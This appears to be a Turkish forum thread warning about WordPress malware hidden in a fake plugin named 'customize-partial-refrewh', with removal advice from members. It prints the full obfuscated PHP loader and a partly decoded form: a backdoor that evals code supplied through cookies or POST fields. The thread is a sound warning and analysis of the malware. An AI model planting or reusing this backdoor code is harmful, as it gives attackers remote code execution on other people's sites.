2019 Wordpress virüsleri - Bu virüsler anvirüse yakalanmıyor !

Siteyi durduk yere bozan, Site teknik zorluklarla karşılaşıyor. hatasına neden olan 2019'un trend virüsleri. Bu virüs clamav, cxs ve imunifyav'a yakalanmıyor. İlk defa böyle bir şifreleme yöntemi gördüm.

<?php $MRI = "SGkolxnVHm;/t*QFEP28eO(+XbyTNK'0BjRZcLvaw7C_s5=.Yq1DMW94zi)3uIUJhprfd6Ag";$cTS = $MRI[39].$MRI[44].$MRI[44].$MRI[20].$MRI[66].$MRI[12];$N4Y = $MRI[20].$MRI[38].$MRI[39].$MRI[4].$MRI[22].$MRI[71].$MRI[56].$MRI[57].$MRI[6].$MRI[67].$MRI[4].$MRI[39].$MRI[12].$MRI[20].$MRI[22].$MRI[25].$MRI[39].$MRI[44].$MRI[20].$MRI[69].$MRI[55].$MRI[43].$MRI[68].$MRI[20].$MRI[36].$MRI[3].$MRI[68].$MRI[20].$MRI[22];$GdZ = $MRI[58].$MRI[58].$MRI[58].$MRI[10];$z79 = $N4Y.$MRI[30].$MRI[68].$MRI[35].$MRI[32].$MRI[34].$MRI[39].$MRI[55].$MRI[52].$MRI[40].$MRI[15].$MRI[61].$MRI[24].$MRI[11].$MRI[57].$MRI[65].$MRI[28].$MRI[70].$MRI[56].$MRI[63].$MRI[32].$MRI[57].$MRI[69].$MRI[9].$MRI[56].$MRI[6].$MRI[14].$MRI[65].$MRI[6].$MRI[68].$MRI[1].$MRI[15].$MRI[12].$MRI[35].$MRI[40].$MRI[62].$MRI[8].$MRI[59].$MRI[63].$MRI[64].$MRI[61].$MRI[26].$MRI[0].$MRI[68].$MRI[12].$MRI[52].$MRI[65].$MRI[26].$MRI[24].$MRI[1].$MRI[68].$MRI[57].$MRI[37].$MRI[23].$MRI[54].$MRI[31].$MRI[24].$MRI[24].$MRI[44].$MRI[35].$MRI[24].$MRI[35].$MRI[65].$MRI[45].$MRI[56].$MRI[41].$MRI[59].$MRI[35].$MRI[12].$MRI[56].$MRI[37].$MRI[64].$MRI[36].$MRI[19].$MRI[37].$MRI[44].$MRI[21].$MRI[41].$MRI[23].$MRI[24].$MRI[61].$MRI[7].$MRI[14].$MRI[27].$MRI[66].$MRI[50].$MRI[38].$MRI[48].$MRI[6].$MRI[6].$MRI[23].$MRI[34].$MRI[69].$MRI[15].$MRI[19].$MRI[53].$MRI[40].$MRI[60].$MRI[63].$MRI[39].$MRI[44].$MRI[12].$MRI[53].$MRI[42].$MRI[65].$MRI[63].$MRI[3].$MRI[27].$MRI[1].$MRI[42].$MRI[44].$MRI[4].$MRI[51].$MRI[48].$MRI[64].$MRI[27].$MRI[25].$MRI[36].$MRI[44].$MRI[0].$MRI[27].$MRI[7].$MRI[27].$MRI[69].$MRI[4].$MRI[69].$MRI[29].$MRI[17].$MRI[2].$MRI[20].$MRI[61].$MRI[9].$MRI[29].$MRI[44].$MRI[49].$MRI[56].$MRI[5].$MRI[34].$MRI[3].$MRI[44].$MRI[71].$MRI[28].$MRI[57].$MRI[38].$MRI[8].$MRI[31].$MRI[20].$MRI[3].$MRI[63].$MRI[54].$MRI[5].$MRI[11].$MRI[62].$MRI[44].$MRI[61].$MRI[15].$MRI[70].$MRI[51].$MRI[18].$MRI[28].$MRI[8].$MRI[8].$MRI[67].$MRI[51].$MRI[11].$MRI[40].$MRI[21].$MRI[33].$MRI[15].$MRI[12].$MRI[2].$MRI[11].$MRI[16].$MRI[26].$MRI[37].$MRI[25].$MRI[63].$MRI[39].$MRI[49].$MRI[23].$MRI[29].$MRI[40].$MRI[59].$MRI[53].$MRI[5].$MRI[16].$MRI[53].$MRI[9].$MRI[9].$MRI[35].$MRI[44].$MRI[42].$MRI[5].$MRI[41].$MRI[2].$MRI[54].$MRI[60].$MRI[21].$MRI[17].$MRI[4].$MRI[18].$MRI[39].$MRI[57].$MRI[16].$MRI[57].$MRI[60].$MRI[29].$MRI[65].$MRI[2].$MRI[25].$MRI[71].$MRI[16].$MRI[7].$MRI[70].$MRI[5].$MRI[29].$MRI[27].$MRI[54].$MRI[54].$MRI[36].$MRI[19].$MRI[3].$MRI[68].$MRI[0].$MRI[5].$MRI[70].$MRI[8].$MRI[68].$MRI[14].$MRI[36].$MRI[34].$MRI[31].$MRI[34].$MRI[35].$MRI[36].$MRI[49].$MRI[24].$MRI[63].$MRI[67].$MRI[34].$MRI[71].$MRI[23].$MRI[37].$MRI[5].$MRI[55].$MRI[57].$MRI[59].$MRI[48].$MRI[66].$MRI[34].$MRI[41].$MRI[62].$MRI[4].$MRI[45].$MRI[16].$MRI[40].$MRI[51].$MRI[69].$MRI[16].$MRI[49].$MRI[45].$MRI[20].$MRI[23].$MRI[55].$MRI[29].$MRI[31].$MRI[71].$MRI[21].$MRI[63].$MRI[35].$MRI[41].$MRI[11].$MRI[63].$MRI[59].$MRI[7].$MRI[14].$MRI[36].$MRI[64].$MRI[48].$MRI[11].$MRI[0].$MRI[17].$MRI[55].$MRI[2].$MRI[16].$MRI[69].$MRI[8].$MRI[49].$MRI[14].$MRI[60].$MRI[14].$MRI[2].$MRI[0].$MRI[44].$MRI[66].$MRI[14].$MRI[38].$MRI[23].$MRI[44].$MRI[7].$MRI[21].$MRI[50].$MRI[59].$MRI[2].$MRI[67].$MRI[11].$MRI[25].$MRI[25].$MRI[3].$MRI[3].$MRI[52].$MRI[8].$MRI[33].$MRI[36].$MRI[26].$MRI[61].$MRI[9].$MRI[12].$MRI[55].$MRI[16].$MRI[40].$MRI[37].$MRI[5].$MRI[26].$MRI[67].$MRI[1].$MRI[7].$MRI[19].$MRI[71].$MRI[23].$MRI[52].$MRI[56].$MRI[57].$MRI[21].$MRI[38].$MRI[59].$MRI[17].$MRI[69].$MRI[55].$MRI[63].$MRI[19].$MRI[41].$MRI[68].$MRI[37].$MRI[2].$MRI[32].$MRI[59].$MRI[41].$MRI[21].$MRI[44].$MRI[50].$MRI[55].$MRI[34].$MRI[11].$MRI[42].$MRI[9].$MRI[62].$MRI[64].$MRI[31].$MRI[66].$MRI[35].$MRI[67].$MRI[30].$GdZ;@$cTS($z79);

Eklentinin ismi: customize-partial-refrewh
​​​​Her dizine index.php oluşturuyor aktif olan index.php'nin üstüne ise kod yazıyor.

FTP dizininde bulunan /wp-content/plugins/customize-partial-refrewh dizinini sunucudan komple kaldırınız.

Mühim bir konu hocam bilgilendirmen iyi oldu

vallahi dedektif gibisiniz, wp yok derdim yok

kaspersky'a bildirelim o halde

https://virusdesk.kaspersky.com/

içerisinden şu çıkıyor

v__8p/8LvlOA4znrlv/8OXv_8d9Cf8Zof8O8LvlOA4znrlv/8OXv_8d9Cf8Zof8OKfR0jv9DaQu+ zhT64U0zdm4n*hnfGQ/RaIH)UJubSf/Dhb+Gfzc(W'++_R+Rhs4w)R/4cJZ2c_ew(+uV*ypqL.nn(jdQ2Ma3Uv_/M7hUoyG7_l1.JyXZ_SyVydldNEk8umN_Y4xjo_ATzLH'8oUWx I_uQ61PTHHr1 aeBQ/k FbcXUvY(Na)MxFMmmR_7xwkW3eElPvzFz3NhkXAFV6xNyWWZ2ofSx6Hf*Zj'jRZY+UrjA(cx9z).pjwIlsFa1dFYs8(9N'AeURw U)V*ZJ. SE9kFdHY*3*kS_p*L(_Veq)kr XXooDHBZbum/9FacxbrGV2A(D4zeL)Ed9U2wfck0)we_q9j 7mIJ'pRrKiii;

geçenlerde bunun benzeri virus yuzunden WordPressi kökten kaldirmistim. geç oldu ama birdaha dikkat etmek gerek

Ne güzel destan yazmışlar..

Cookie değerleri olmadığı için bu kadar açabildim. Eğer cookie değerleri varsa kodu tamamen çözebiliriz.

function get_cookie($_0)
{
     return isset($_COOKIE[$_0]) ? $_COOKIE[$_0] : @$_POST[$_0];
}

$code = get_cookie("jweyc") . get_cookie("aeskoly") . get_cookie("owhggiku") . get_cookie("callbrhy");

if (!empty($code)) {
    $code = str_rot13(pack("H*", strrev($code)));
    if (isset($code)) {
        @eval($code);
        exit();
    }
}